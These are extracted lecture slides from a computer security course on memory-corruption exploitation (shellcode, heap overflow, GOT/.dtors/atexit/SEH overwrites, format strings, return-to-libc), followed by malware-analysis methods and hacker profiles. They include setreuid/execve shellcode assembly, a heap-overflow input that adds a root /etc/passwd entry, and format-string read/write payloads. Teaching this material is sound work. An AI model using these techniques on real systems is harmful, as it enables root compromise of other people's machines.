Set breakpoint right at the beginning of program

Use the gdb command x/20s $esp

To see strings in stack memory

Look for “SHELLCODE =“

Once the shellcode is located, figure out an address that leads to the NOP sledSlide318

Buffer Overflow Attack Details

To find the address of this environmental variable

Use a program that calls getenv(SHELLCODE) and returns the value

printf(“address is %p\n”,getenv(SHELLCODE));

Calculate the address of SHELLCODE

This allows us to eliminate the NOP sledSlide319

Writing Shell Code

Shell Code needs to call

execve()

setreuid()

To restore root privileges after they are dropped.

(Recall: we are using a suid program, they might drop root privileges).Slide320

Writing Shell Code

System level calls are made with an interrupt

int 0x80

Parameters are put into registers.Slide321

Writing Shell Code

setreuid:

mov eax, 70; syscall number is 70

mov ebx, 0; real uid set to root

mov ecx, 0; set effective uid to root

int 0x80Slide322

Writing

Shell

Code

section .data

filepath db “/bin/shXAAAABBBB”

section .text

mov eax, 0;

mov ebx, filepath

mov [ebx+7], al

mov[ebx+8], ebx

mov [ebx+12] ,eax

mov eax, 11; since execve is syscall 11

lea ecx, [ebx+8]; load ecx with command addr

lea edx, [ebx+12]; load edx with second para. 0

int 0x80

ebx

points to

/bin/

shXAAAABBBB

/bin/sh0AAAABBBB

/bin/sh0aaaaBBBB

where aaaa is the address of /bin/sh

/bin/sh0aaaa0000

since eax contains 0000

Code for execveSlide323

Writing Shell Code

This program spawns a shell.

But string is still contained in the data segment.

This will not work if shell code needs to be injected into existing code.Slide324

Writing Shell Code

Using EIP

A call instruction will load the EIP with a memory address.

The address of the next instruction, the return address, is pushed on the stack.

Call trick:

Jump to the end of the code.

(The string follows the end of the code.)

Make a call to the beginning of the code.

Remove the return address from the stackSlide325

Writing Shell Code

Call and jmp can use addresses relative to EIP

call

pushes return address on stack

right after call:

pop off return address

call now returns to the address specified by top of stackSlide326

Writing Shell Code

jmp two

one:

pop ebx

<program code here>

two:

call one

db ‘/bin/sh0’

Stack after call one:

ebx contains the address of the stringSlide327

Writing Shell Code

Put everything together and you have shell code.

If you look at it in hex, you will see:

B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00 CD

80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08 89

43 0C B8 0B 00 00 00 8D 4B 08 8D 53 0C CD 80 E8

….

! ARGHHH: ZEROES !Slide328

Writing Shell Code

If you give zeroes as input, any self-respecting C-string function will assume the end of string.

Some of the zeroes come from using the parameter zero.

To load register eax with zero, use

xor eax, eax

Sometimes, a zero byte is part of a parameter.

Load only half of a register:

Replace

mov eax, 70

with

xor eax, eax

mov al, 70Slide329

Writing Shell Code

Polymorphic Shell Code

IDS can look for shell code signature

IDS could insist on all input being printable.

Make shell code that only consists of printable characters.

Bigger and harder to do, but possible.

Phiral Research Laboratories has a tool called

dissembler

that translates byte code into byte code that is printable.Slide330

Heap Buffer Overflow Attack

Are not standardized such as buffer overflow attacks.

Need to find something important in the heap that is stored after an over-flowable buffer.

An important variable

User permissions

Authentication status

A function pointerSlide331

Heap Buffer Overflow Attack

Program appends userinput (up to 19B) into a file called “/tmp/notes”Slide332

Heap Buffer Overflow Attack

Memory for *userinput is located before *outputfile

Distance between the two is 24

As revealed by debugging

As revealed by inputting successively longer strings.

Up to 23B input is tolerated.

Remember to add the additional zero Slide333

Heap Buffer Overflow Attack

Assume that this is a suid programSlide334

Heap Buffer Overflow Attack

How do we overflow the heap?

Input 12345678901234567890123testfile

Writes to testfile instead.

Testfile contains

12345678901234567890123testfileSlide335

Heap Buffer Overflow Attack

Can use the same trick to append to the password file.

Problem: Need to craft the entry to fit.

Desired entry:

myroot::0:0:me:/root: /bin/bash

However, somewhere there we have to get an /etc/passwd in.

Solution: Use a symbolic linkSlide336

Heap Buffer Overflow Attack

Create a symbolic link so that an entry can be both a shell and end in /etc/passwd:Slide337

Heap Buffer Overflow Attack

This means that this is a valid password file line:

myroot::0:0:me:/root:/tmp/etc/passwd

Now we need to modify this string so that /etc/passwd start with byte 24

myroot::0:0:m:/root:/tmp/etc/passwd works.Slide338

Heap Buffer Overflow Attack

This is a fairly contrived example, but explains the ideas well.Slide339

Pointer Subterfuge

Pointer Subterfuge is a general expression for exploits that modify a pointer’s value.

Function pointers are overwritten to transfer control to an attacker supplied shellcode.

Data pointers can also be changed to modify the program flow according to the attacker’s wishes. Slide340

Pointer Subterfuge

Using a buffer overflow:

Buffer must be allocated in the same segment as the target pointer.

Buffer must have a lower memory address than the target pointer.

Buffer must be susceptible to a buffer overflow exploit.Slide341

Pointer Subterfuge

UNIX executables contain both a data and a BSS segment.

The data segment contains all initialized global variables and constants.

The Block Started by Symbols (BSS) segment contains all uninitialized global variables.

Initialized global variables are separated from uninitialized variables.Slide342

Pointer Subterfuge

1. static int GLOBAL_INIT = 1;

/* data segment, global */

 2. static int global_uninit;

/* BSS segment, global */

 3.

 4. void main(int argc, char **argv) {

/* stack, local */

 5.   int local_init = 1;

/* stack, local */

 6.   int local_uninit;

/* stack, local */

 7.   static int local_static_init = 1;

/* data seg, local */

 8.   static int local_static_uninit;

/* BSS segment, local */

      

/* storage for buff_ptr is stack, local */

     

/* allocated memory is heap, local */

 9.   }Slide343

Pointer Subterfuge

void

good_function

(const char

*str

) {

//do something

}

int

main

(int

argc

, char

**argv

) {

if

(argc !=2){

printf("Usage: prog_name <string1>\n");

exit(-1);

}

static char

buff [BUFFSIZE];

static void

(*funcPtr)(

const char

*str);

funcPtr = &good_function;

strncpy(buff, argv[1], strlen(argv[1]));

(

void

)(*funcPtr)(argv[2]);

return 0;

}Slide344

Pointer Subterfuge

Program vulnerable to buffer overflow exploit.

Both buffer and function pointer are uninitialized and hence stored in BSS segment.Slide345

Pointer Subterfuge

void

good_function

(const char

*str

) {

//do something

}

int

main

(int

argc

, char

**argv

) {

if

(argc !=2){

printf("Usage: prog_name <string1>\n");

exit(-1);

}

static char

buff [BUFFSIZE];

static void

(*funcPtr)(

const char

*str);

funcPtr = &good_function;

strncpy(buff, argv[1], strlen(argv[1]));

(

void

)(*funcPtr)(argv[2]);

return 0;

}Slide346

Function Pointer Example

funcPtr declared are both uninitialized and stored in the BSS segment.

The static character array buff

1. void good_function(const char *str) {...}

2. void main(int argc, char **argv) {

3.   static char buff[BUFFSIZE];

4.   static void (*funcPtr)(const char *str);

5.   funcPtr = &good_function;

6.   strncpy(buff, argv[1], strlen(argv[1]));

7.   (void)(*funcPtr)(argv[2]);

8. } Slide347

Function Pointer Example

1. void good_function(const char *str) {...}

2. void main(int argc, char **argv) {

3.   static char buff[BUFFSIZE];

4.   static void (*funcPtr)(const char *str);

5.   funcPtr = &good_function;

6.   strncpy(buff, argv[1], strlen(argv[1]));

7.   (void)(*funcPtr)(argv[2]);

8. }

A buffer overflow occurs when the length of argv[1] exceeds BUFFSIZE.Slide348

Function Pointer Example

1. void good_function(const char *str) {...}

2. void main(int argc, char **argv) {

3.   static char buff[BUFFSIZE];

4.   static void (*funcPtr)(const char *str);

5.   funcPtr = &good_function;

6.   strncpy(buff, argv[1], strlen(argv[1]));

7.   (void)(*funcPtr)(argv[2]);

8. }

When the program invokes the function identified by funcPtr, the shellcode is invoked instead of good_function().Slide349

Data Pointers

Example

void foo(void * arg, size_t len) {

char buff[100];

long val = …;

long *ptr = …;

memcpy(buff, arg, len);

*ptr = val;

return;

}

Buffer is vulnerable to overflow.

Both val and ptr are located after the buffer and can be overwritten.

This allows a buffer overflow to write an arbitrary address in memory.Slide350

Data Pointers

Arbitrary memory writes can change the control flow.

This is easier if the length of a pointer is equal to the length of important data structures.

Intel 32 Architectures:

sizeof(void*) = sizeof(int) = sizeof(long) = 4B.Slide351

Instruction Pointer Modification

Instruction Counter (IC) (a.k.a Program Counter (PC)) contains address of next instruction to be executed.

Intel: EIP register.

IC cannot be directly manipulated.

IC is incremented or changed by a number of instructions:

jmp

Conditional jumps

call

retSlide352

Instruction Pointer Modification

int _tmain(int argc, _TCHAR* argv[]) {

if (argc !=1){

printf("Usage: prog_name\n");

exit(-1);

}

static void (*funcPtr)(const char *str);

funcPtr = &good_function;

(void)(*funcPtr)("hi ");

good_function("there!\n");

return 0;

}

Invoke good function through a pointer.

Invoke good function directly.Slide353

Instruction Pointer Modification

void)(*funcPtr)(“hi “);

00424178 mov esi, esp

0042417A push offset string "hi" (46802Ch)

0042417F call dword ptr [funcPtr (478400h)]

00424185 add  esp, 4

00424188 cmp  esi, esp

good_function(“there!\n”);

0042418F push offset string "there!\n" (468020h)

00424194 call good_function (422479h)

00424199 add  esp, 4

First invocation of good function.

Machine code is

ff 15 00 84 47 00.

The last four bytes are the address of the called function.

Second invocation of good function.

Machine code is

e8 e0 e2 ff ff.

The last four bytes are the relative address of the called function.Slide354

Instruction Pointer Modification

Static invocation uses an immediate value for the address of the function.

Address is encoded in the instruction.

Address is calculated and put into IC.

It cannot be changed without changing the executable.

Invocation through function pointer is indirect.

Future value of IC is in a memory location that can be changed.Slide355

Instruction Pointer Modification

Controlling the IC gives attacker the chance to select code to be selected.

Easy if attacker can write an arbitrary memory address.

Function invocations that cannot be resolved at compile time are vulnerable. Slide356

Targets for Instruction Pointer Modification:

Global Offset Table

Windows and Linux use a similar mechanism for linking and transferring control for library functions.

Windows is not exploitable.

Linux is.Slide357

Targets for Instruction Pointer Modification:

Global Offset Table

ELF (executable & linking format)

Default binary format for

Linux

Solaris 2.x

SVR4

Adopted by TIS (Tool Interface Standards Committee)

Global Offset Table (GOT)

Included in process space of ELF binaries.

GOT contains

absolute

addresses.

Allows easy dynamic linking.Slide358

Targets for Instruction Pointer Modification:

Global Offset Table

GOT

Initially, GOT entry contains address of RTL (runtime linker)

If that function is called, the RTL resolves the real address of the intended function and puts it into GOT.

Subsequent calls invoke the function directly.Slide359

Targets for Instruction Pointer Modification:

Global Offset Table

GOT

main

# RTL

# RTL

# RTL

# RTL

# RTL

Program calls printf

First call to printf

Go to GOT and invoke function

there

Invoke RTL

RTL resolves address.

RTL writes address into GOT

# printfSlide360

Targets for Instruction Pointer Modification:

Global Offset Table

Address of a GOT entry is fixed in the ELF executable.

It does not vary between executable process images.

Use objdump to obtain the address of a GOT entry.Slide361

Targets for Instruction Pointer Modification:

Global Offset Table

% objdump --dynamic-reloc test-prog

format: file format elf32-i386

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

08049bc0 R_386_GLOB_DAT __gmon_start__

08049ba8 R_386_JUMP_SLOT __libc_start_main

08049bac R_386_JUMP_SLOT strcat

08049bb0 R_386_JUMP_SLOT printf

08049bb4 R_386_JUMP_SLOT exit

08049bb8 R_386_JUMP_SLOT sprintf

08049bbc R_386_JUMP_SLOT strcpy

The offsets specified for each R_386_JUMP_SLOT relocation record contain the address of the specified function (or the RTL linking function)Slide362

Targets for Instruction Pointer Modification:

Global Offset Table

How to use GOT?

Attacker needs to provide their own shellcode.

Attacker needs to be able to write an arbitrary value to an arbitrary address.

Attack:

Attacker overwrites GOT entry (that is going to be used) with the address of their shellcode.Slide363

Targets for Instruction Pointer Modification:

.dtors

gcc allows attributes

keyword is __attribute__

constructor attribute:

function will be executed before main()

destructor attribute:

function will be executed just after main() exits.

ELF places these in the .ctors and the .dtors sections.

static void start(void) __attribute__ ((constructor));

static void stop(void) __attribute__ ((destructor)); Slide364

Targets for Instruction Pointer Modification:

.dtors

static void create(void)

__attribute__ ((constructor));

static void destroy (void)

__attribute__ ((destructor));

int main(int argc, char *argv[]) {

printf("create: %p.\n", create);

printf("destroy: %p.\n", destroy);

exit(EXIT_SUCCESS);}

void create(void) {

printf("create called.\n");}

void destroy(void) {

printf("destroy called.\n");}

create called.

create: 0x80483a0. destroy: 0x80483b8.

destroy called.

Slide365

Targets for Instruction Pointer Modification:

.dtors

Both sections have the following layout:

0xffffffff {

function-address

} 0x00000000

The .ctors and .dtors sections are mapped into the process address space and are writable by default.

Constructors have not been used in exploits because they are called before the main program.

The focus is on destructors and the .dtors section.

The contents of the .dtors section in the executable image can be examined with the objdump command.Slide366

Targets for Instruction Pointer Modification:

.dtors

An attacker can transfer control to arbitrary code by overwriting the address of the function pointer in the .dtors section.

If the target binary is readable by an attacker, an attacker can find the exact position to overwrite by analyzing the ELF image.

The .dtors section is present even if no destructor is specified.

The .dtors section consists of the head and tail tag with no function addresses between.

It is still possible to transfer control by overwriting the tail tag 0x00000000 with the address of the shellcode.

If the shellcode returns, the process will call subsequent addresses until a tail tag is encountered or a fault occurs.Slide367

Targets for Instruction Pointer Modification:

.dtors

For an attacker, overwriting the .dtors section has advantages over other targets:

.dtors is always present and mapped into memory.

However:

The .dtors target only exists in programs that have been compiled and linked with GCC.

It is difficult to find a location to inject the shellcode onto so that it remains in memory after main() has exited.Slide368

Targets for Instruction Pointer Modification:

Virtual Functions

Important feature for OO programming.

Allows dynamic binding (resolved during run-time) of function calls.

Virtual function is:

A member function of a class

Declared with

virtual

keyword

Usually has a different functionality in the derived class

A function call is resolved at run-time Slide369

Targets for Instruction Pointer Modification:

Virtual Functions

#include <iostream>

using namespace std;

class a {

public: void f(void) { cout << "base f" << endl;};

virtual void g(void) { cout << "base g" << endl;};

};

class b: public a {

public: void f(void) { cout << "derived f" << endl;};

void g(void) { cout << "derived g" << endl;};

};

int main(int argc, char *argv[]) {

a *my_b = new b();

my_b->f();

my_b->g();

return 0; }Slide370

Targets for Instruction Pointer

Modification:

Virtual

Functions

Typical Implementation:

Virtual Function Table (VTBL).

Array of function pointers used at runtime for dispatching virutal function calls.

Each individual object pointer points to the VTBL via a VPTR in the object header.

VTBL contains pointers to all implementations of a virtual function.

my_b

b-obj:

VPTR

code for g()

VTBL:

g()Slide371

Targets for Instruction Pointer Modification:

Virtual Functions

Attacker can:

overwrite function pointers in the VTBL

or

change the VPTR to point to a new VTBL.

Attacker can use an arbitrary memory write or a buffer overflow directly on the object.Slide372

Targets for Instruction Pointer Modification:

atexit() on_exit()

atexit()

General utility defined in C99

Registers a function to be called at normal program termination.

C99 allows registration of at least 32 functions.Slide373

Targets for Instruction Pointer Modification:

atexit() on_exit()

on_exit()

Similar functionality under SunOS

Present in libc4, libc5, glibcSlide374

Targets for Instruction Pointer Modification:

atexit() on_exit()

#include <stdio.h>

char *glob;

void test(void) {

printf("%s", glob);

}

int main(void) {

atexit(test);

glob = "Exiting.\n";

}Slide375

Targets for Instruction Pointer Modification:

atexit() on_exit()

atexit() adds a specific function to an array of functions to be called when exiting.

exit() invokes each function in LIFO order.

Array is allocated as a global symbol

__atexit in BSD

__exit_funcs in LinuxSlide376

Targets for Instruction Pointer Modification:

atexit

()

on_exit

()

(gdb) b main

Breakpoint 1 at 0x80483f6: file atexit.c, line 6.

(gdb) r

Starting program: /home/rcs/book/dtors/atexit

Breakpoint 1, main (argc=1, argv=0xbfffe744) at atexit.c:6

6 atexit(test);

(gdb) next

7 glob = "Exiting.\n";

(gdb) x/12x __exit_funcs

0x42130ee0 <init>:    0x00000000 0x00000003 0x00000004 0x4000c660

0x42130ef0 <init+16>: 0x00000000 0x00000000 0x00000004 0x0804844c

0x42130f00 <init+32>: 0x00000000 0x00000000 0x00000004 0x080483c8

(gdb) x/4x 0x4000c660

0x4000c660 <_dl_fini>: 0x57e58955 0x5ce85356 0x81000054 0x0091c1c3

(gdb) x/3x 0x0804844c

0x804844c <__libc_csu_fini>: 0x53e58955 0x9510b850 x102d0804

(gdb) x/8x 0x080483c8

0x80483c8 <test>: 0x83e58955 0xec8308ec 0x2035ff08 0x68080496Slide377

Targets for Instruction Pointer Modification:

atexit() on_exit()

In the debug session, a breakpoint is set before the call to atexit() in main() and the program is run.

The call to atexit() is then executed to register the test() function.

After the test() function is registered, memory at __exit_funcs is displayed.

Each function is contained in a structure consisting of four doublewords.

Last doubleword contains address of function.Slide378

Targets for Instruction Pointer Modification:

atexit() on_exit()

(gdb) b main

Breakpoint 1 at 0x80483f6: file atexit.c, line 6.

(gdb) r

Starting program: /home/rcs/book/dtors/atexit

Breakpoint 1, main (argc=1, argv=0xbfffe744) at atexit.c:6

6 atexit(test);

(gdb) next

7 glob = "Exiting.\n";

(gdb) x/12x __exit_funcs

0x42130ee0 <init>:    0x00000000 0x00000003 0x00000004 0x4000c660

0x42130ef0 <init+16>: 0x00000000 0x00000000 0x00000004 0x0804844c

0x42130f00 <init+32>: 0x00000000 0x00000000 0x00000004 0x080483c8

(gdb) x/4x 0x4000c660

0x4000c660 <_dl_fini>: 0x57e58955 0x5ce85356 0x81000054 0x0091c1c3

(gdb) x/3x 0x0804844c

0x804844c <__libc_csu_fini>: 0x53e58955 0x9510b850 x102d0804

(gdb) x/8x 0x080483c8

0x80483c8 <test>: 0x83e58955 0xec8308ec 0x2035ff08 0x68080496Slide379

Targets for Instruction Pointer Modification:

atexit() on_exit()

In the example:

Three function have been registered:

_dl_fini()

__libc_csu_fini()

test()

Attacker can overwrite any entry of the __exit_funcs structure.Slide380

Targets for Instruction Pointer Modification:

longjmp()

C99 defines alternate function call and return discipline

Intended for dealing with errors and interrupts encountered in a low-level subroutine of a program

setjmp() macro

Saves calling environment

longjmp(), siglongjmp()

Non-local jump to a saved stack contextSlide381

Targets for Instruction Pointer Modification:

longjmp()

longjmp() example:

longjmp() returns control back to the point of the set_jmp() invocation.

#include <setjmp.h>

jmp_buf buf;

void g(int n);

void h(int n);

int n = 6;

void f(void){ setjmp(buf); g(n);}

void g(int n){ h(n);}

void h(int n) { longjmp(buf, 2);}

int main (void){

f();

return 0;

}Slide382

Targets for Instruction Pointer Modification:

longjmp()

Linux implementation of jmp_buf

Notice the JB_PC field.

This is the target of an attack.

An arbitrary memory write can overwrite this field with the address of shellcode in the overflowing buffer.

1. typedef int __jmp_buf[6];

 2. #define JB_BX 0

 3. #define JB_SI 1

 4. #define JB_DI 2

 5. #define JB_BP 3

 6. #define JB_SP 4

 7. #define JB_PC 5

 8. #define JB_SIZE 24

 9. typedef struct __jmp_buf_tag {

10.    __jmp_buf __jmpbuf;

11.    int __mask_was_saved;

12.    __sigset_t __saved_mask;

13. } jmp_buf[1]Slide383

Targets for Instruction Pointer

Modification:

longjmp

()

longjmp(env, i)

movl i, %eax /* return i */

movl env.__jmpbuf[JB_BP], %ebp

movl env.__jmpbuf[JB_SP], %esp

jmp (env.__jmpbuf[JB_PC])

The movl instruction on line 2 restores the BP

The movl instruction on line 3 restores the stack pointer (SP).

Line 4 transfers control to the stored PC

Assembly instructions in LinuxSlide384

Targets for Instruction Pointer Modification:

Exception Handling

Exception

Event outside of the normal operation of a procedure.

Windows provides three types of exception handlers:

Vectored Exception Handling (VEH)

Added in Windows XP

Called first to override SEH.

Structured Exception Handling (SEH)

Implemented as per-function or per-thread exception handling.

System Default Exception Handling Slide385

Targets for Instruction Pointer Modification:

Exception Handling

Exception

Event outside of the normal operation of a procedure.

Windows provides three types of exception handlers:

Vectored Exception Handling (VEH)

Added in Windows XP

Called first to override SEH.

Structured Exception Handling (SEH)

Implemented as per-function or per-thread exception handling.

System Default Exception Handling Slide386

Targets for Instruction Pointer Modification:

Exception Handling

SEH

Implemented through try … catch blocks

Any exception raised in the try block is handled in the matching catch block.

If the catch block cannot handle it, it is passed back to prior scope.

__finally is a MS extension to C/C++

Used to clean-up anything instantiated in the try block.

try {

// Do stuff here

}

catch(…){

// Handle exception here

}

__finally {

// Handle cleanup here

}Slide387

Targets for Instruction Pointer Modification:

Exception Handling

SEH

Uses the EXECPTION_REGISTRATION structure

Located on stack.

Previous EXECPTION_REGISTRATION prev is at a higher stack address.

If the executable image header lists SAFE SEH handler addresses, the handler address must be listed as a SAFE SEH handler. Otherwise, any structured exception handler may be called.

EXCEPTION_REGISTRATION struc

prev dd ?

handler dd ?

_EXCEPTION_REGISTRATION endsSlide388

Targets for Instruction Pointer Modification

:

Exception Handling

Stack Frame Initialization

Notice:

Exception handler address followed immediately by exception handler address.

This puts the exception handler address at risk from buffer overflow.

push ebp

mov ebp, esp

and esp, 0FFFFFFF8h

push 0FFFFFFFFh

push ptr [Exception_Handler]

mov eax, dword ptr fs:[00000000h]

push eax

mov dword ptr fs:[0], espSlide389

Targets for Instruction Pointer Modification:

Exception Handling

Attacker can:

Overwrite the exception handler address. (supra)

Replace the pointer in the Thread Environment Block (TEB).

TEB contains lists of registered exception handlers.

Attacker mocks up a list entry as part of the payload.

Modify the first exception handler field using an arbitrary memory write.

Seems to be still possible despite recent Windows version checking validity of list entries.Slide390

Targets for Instruction Pointer Modification:

Exception Handling

Windows provides a global exception filter and handler for the entire process that is called if no previous exception handler can handle the exception.

Implement an unhandled exception filter for the entire process to gracefully handle unexpected error conditions and for debugging.

An unhandled exception filter function is assigned using the

SetUnhandledExceptionFilter()

function.

If an attacker overwrites specific memory addresses through an arbitrary memory write, the unhandled exception filter can be redirected to run arbitrary code.Slide391

Format String Vulnerability

A programmer shortcut uses

printf(string);

instead of

printf(“%s”,string);

This works fine, unless the string itself becomes a format string.Slide392

Format String Vulnerability

Assume we have the following line:

printf(argv[1]);

Input testing%x and obtain:

testingbffff5a0

bffff5a0 is a value on the stack.

Now we can read the stack by inputing

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

This is because the printf call will take its parameters from the stack.Slide393

Format String Vulnerability

If we look far enough down the stack, we will find the string that we used as input.Slide394

Format String Vulnerability

Assume we put in AAAA%08x.%08x.%08x.%08x.

Output is

AAAAbfff590.000003e8.000003e8.41414141

The 41-s are the beginning of the string.

If the fourth parameter would be displayed using the %s format, then the function will read the memory at that address!Slide395

Format String Vulnerability

If we put in an arbitrary memory address, then we would get a segmentation fault.

But not if we take a valid memory address:Slide396

Format String Vulnerability

Input \x14\xfd\xff\xbf.%x%x%x%s

Result is the contents at memory location bf ff fd 14.

Now we can read from any memory within the scope of the process!Slide397

Format String Vulnerability

But we can even write to arbitrary memory!

%n

prints out number of bytes written out so far.

It also writes data.

Expects a memory address

Writes number of bytes so far written into that memory address.Slide398

Format String Vulnerability

Input

\x70\x95\x04\x08%08x.%08x.%08x.%n

Output bffff590.000003e8.000003e8

But also sets content at 0x08049570 to 30.

This allows us to write small values to arbitrary memory belonging to the process.

One can now write individual bytes by using the width field in front of %n:

Slide399

Return into Libc

Making the stack non-executable will stop the bulk of buffer overflow attacks.

OpenBSD among others has a non-executable stack by default.

But these architecture can still be exploited with a “return to libc”.Slide400

Return into Libc

Basic vulnerable code:Slide401

Return into Libc

Use “system” in the C-library.

system(/bin/sh); spawns shell.

Use gdb to find where system is by debugging a simple program such asSlide402

Return into Libc

The address of system( ) will vary from system to system, but is constant for each system.Slide403

Return into Libc

To call system(“/bin/sh”), we need to provide it with parameters.

We need a pointer to /bin/sh.Slide404

Return into Libc

system() address is 0x42049e54

/bin/sh address is 0xbffffc40

Therefore, inputSlide405

Return into Libc

First 28 B are just filler

The address of system

Return address is not used

Argument for systemSlide406

Return into Libc

This will spawn a shell, but not at root level.

Can use a previous call to setuid followed by system.

Chaining of libc calls.Slide407

Return into Libc

Better:

Use a wrapper program to be executed by the vulnerable program.

Wrapper is simple:

Wrapper is executed at the privilege level of the vulnerable program, i.e. with root.

Unfortunately, it system(/bin/sh) still drops privileges.Slide408

Return into Libc

Ultimate solution:

Use execl( ) instead of system( ).

Since execl( ) expects parameters that should be zero (and zeroes terminate a string), we need various tricks to put strings into memory.Slide409

Bibliography

Jon Erickson: Hacking, The art of exploitation, No Starch Press, 2003

Robert C. Seacord: Secure Coding in C and C++Slide410

Malware AnalysisSlide411

Program Analysis

Given an executable, how do we find out what it does?

Try to find the program online.

Analyze source code to find clues.

Search for the name of the program.

Perform source code review

.

Execute the program in a sandbox.

Some programs can break out of a sandbox / jail.Slide412

Program Compilation

Compiler

Translates HLL code to Assembly / ILL

Assembler

Translates Assembly code to machine language

Linker

Creates object code out of several modules.

A program usually makes library calls (stdio)Slide413

Program Compilation

Statically Linked: All library code is part of the object code

Dynamically Linked: Program calls library functions. (DLL)

Stripping: Removes all human-readable symbols from object code.

Combats reverse engineering.

Packing with UPX, etc.

upx.sourceforge.net

Compresses source code (achieves ratios of 20% - 40%)Slide414

Program Compilation

Static compilation needs more memorySlide415

Program Analysis

Static Analysis:

Determine the type of executable.

ELF file in Unix

Exe-type in Windows

Symbol Extraction:

Use a program like strings to find symbols left in object code.

Names give hints on program.

Will not work for stripped files.Slide416

Static Program Analysis

Example for strings output:Slide417

Program Analysis

Find the program online:

Use the name of the file to find online versions.

Use strings to check whether this is a similar file.

Use same compiler to compile the online version and check for similarity.Slide418

Static Program Analysis

Investigate source code

Use Reversing Tools:

Disassembler:

Decodes binary machine code into a readable assembly language text

IDA-Pro

ILDasm (Microsoft .Net IL disassembler)Slide419

Static Program Analysis

Investigate source code

Use Reversing Tools:

Debuggers

Kernel-mode:

Component that sits alongside the system’s kernel

Allows for stopping and observing the entire system.

User-mode:

Attach to a process.

Take full control of process.

Tools:

OllyDbg

WinDbg (MS tool)

IDA-Pro

Numega-SoftIce (no longer available in isolation)Slide420

Static Program Analysis

Investigate source code

Use Reversing Tools:

Decompilers

Attempt to produce a high-level language source-code-like representation from a binary.

Never completely possible because

The compiler removes some information,

The compiler optimizes the code.

System Monitoring Tools

Filemon

TCPView

RegMon

PortMon

WinObj

Process ExplorerSlide421

Static Program Analysis

Investigate source code

Executable-Dumping

Dumpbin (MS)

PEView

PEBrowse ProfessionalSlide422

Program Analysis

Using disassembly:Slide423

Program AnalysisSlide424

Static Program Analysis

Artifacts to look for:

Names of functions

Especially API functions.

Data strings

Names of constant strings

Names of directories

Identification of compilerSlide425

Program AnalysisSlide426

Static Program Analysis

Compilers generate different types of code for the same HLL feature

Function Calls:

Order in which parameters are pushed on stack.

Use of certain registers to pass variables.

Use of stack / registers to return a value.

Division of labor between callee and caller.

This allows us to recognize the compiler with which an executable was created.

Programmers using assembly will not follow the same standards throughout the code.

Hence, we can recognize assembly writers as well.Slide427

Dynamic Program Analysis

Run the program and see what it is doing.

Requires security mechanisms:

Dedicated machine.

Not connected to the internet.

Or: Virtual machine.

However: Code can recognize whether it is running in VMWare.

E.g. by the internal MAC addresses, …

Transport malware on a non-writable CD / DVDSlide428

Dynamic Program Analysis

Strace, systrace:

Run the programming, but keep track of the system calls that it makes with parameters.

More relevant calls (Unix):

open

read

write

Unlink

lstat

socket

close

Strace has an option that intercepts all network related calls.Slide429

Dynamic Program Analysis

Use fport, netstat, … to determine ports opened by the program.

On Windows systems.

Use regmon

Use ListDlls

Use psList

to find out processes created by program.Slide430

Dynamic Program Analysis

Intercept communication of program.

Need to generate a fake network.

E.g.: Static analysis reveals that the program tries to contact

www.evil.org

on the IRC port.

Hence, name an additional machine on separated net

www.evil.org

.Slide431

Dynamic Program Analysis

Run program on a debugger.

IDA-Pro

OllyDbg

SoftIceSlide432

Dynamic Program Analysis

Do a web-search for unique names.Slide433

Program Analysis

Malware writers can use antireversing techniques.

Eliminate symbolic information.

Encrypt code.

Code obfuscation.

Make HLL constructs difficult to understand.

Antidebugger Methods:

Use the IsDebuggerPresent API to protect against user-level debuggers.

Use the NTQuerySystemInformation API to determine if a kernel debugger is attached to the system.

Set a trap flag and check whether it is still there.

A debugger would “swallow” it.

Put in bogus bytes over which the code jumps.

Does not work for all disassemblers.Slide434

Human Face

Computer Forensics 2013Slide435

Hacker Profile

Internal Hacker

Disgruntled employee

Contracted employee

Targets for corporate espionage.

Are not bound by employee policies and procedures.

Indirectly contracted employee

Perform shared or subcontracted services Slide436

Hacker Profile

External Hacker

Recreational Hacker

85% 90% male.

Between 12 and 25.

Highly intelligent low-achiever.

Typically from dysfunctional families.

Professional Hacker

Hackers for hire.

Electronic warfare, corporate espionage.

So-called “Security Consultants” who look for blackmail or exploit for hire

Security ConsultantsSlide437

Hacker Profile

Virus writers

1

Teenagers, College Students, Professionals

Drop out of the scene as adults or have social problems.

Intelligent, educated, male.

Study by Sarah Gordon, IBM, in Beiser, Vince, “Inside the Virus Writer’s Mind”Slide438

Hacker Profile

Script Kiddy

Uses scripts of programs written by others to exploit known vulnerabilities

Goal is bragging rights, defacing web sites

Sweep IP addresses for vulnerability

Typically not explicitly malicious, but can cause damage inadvertentlySlide439

Hacker Profile

Dedicated Hacker

Does research.

Knows in and outs of OS, system, auditing and security tools.

Writes or modifies programs and shell scripts

Reads security bulletins (CERT, NIST)

Searches the underground.Slide440

Hacker Profile

Skilled Hacker

Thorough understanding of system at the level of Sys Ad or above.

Can read OS source code.

Understands network protocols.

Superhacker

Does not brag or post.

Can enter or bring down any system.

http://www.securityfocus.com/news/203Slide441

Hacker Motives

Intellectually Motivated

Educational experimentation

28 year old computer expert diverted 2585 US West computers to search for a new prime number.

Used 10.63 years of computer time.

Lengthened telephone number lookup to 5 minutes

Almost shut down the Phoenix Service Delivery Center

“Harmless Fun”

Web defacing

Wake-up Call

Free-lance security consultant (still illegal)Slide442

Hacker Motives

Personally motivated

Disgruntled employee.

Cyber-stalking

E.g. to show of superiority to someone they feel / are inferior to.

Danger of escalation to physical attack.

A 50-year old security guard used the internet to solicit the rape of a 28-year old woman who rejected him.

Impersonated her in chat rooms and online bulletins.

Impersonated rape fantasies.

At least six man knocked at her door at night offering to rape her.

Six years in prison.Slide443

Hacker Motives

Socially motivated

Cyber-activism

Politically motivated

Hacking KKK or NAACP websites

Cyber-Terrorism

Threatens serious disruption of the infrastructure

Power

Water

Transportation

Communication

1988: Israeli Virus and logic bomb in Israeli government computers

Cyber-warfareSlide444

Hacker Motives

Financially Motivated

Personal profit.

Two Cisco Systems consultants issued almost $8 M Cisco stock to themselves.

Accessed a system used to manage stock option disbursals to find control numbers for forged authorization forms.

Damage to the organization.

British internet provider, Cloud Nine, went out of business after crippling series of DOS attacks.

Ego MotivatedSlide445

Hacking Damage

Releasing Information

Releasing Software

By circumventing copying protection.

Through IP theft

Consuming Unused(?) Resources

Discover and Document Vulnerabilities

